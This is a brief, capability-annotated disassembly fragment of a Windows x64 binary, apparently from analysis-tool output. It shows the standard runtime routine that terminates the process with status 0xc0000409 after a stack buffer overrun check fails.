pop r15
ret
sub rsp, 0x28
call fcn.14013c000
add rsp, 0x28
jmp 0x14000631c
Function at 0x1400112cb
Capabilities:
Terminate process

Disassembly:
jmp 0x140015d40
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret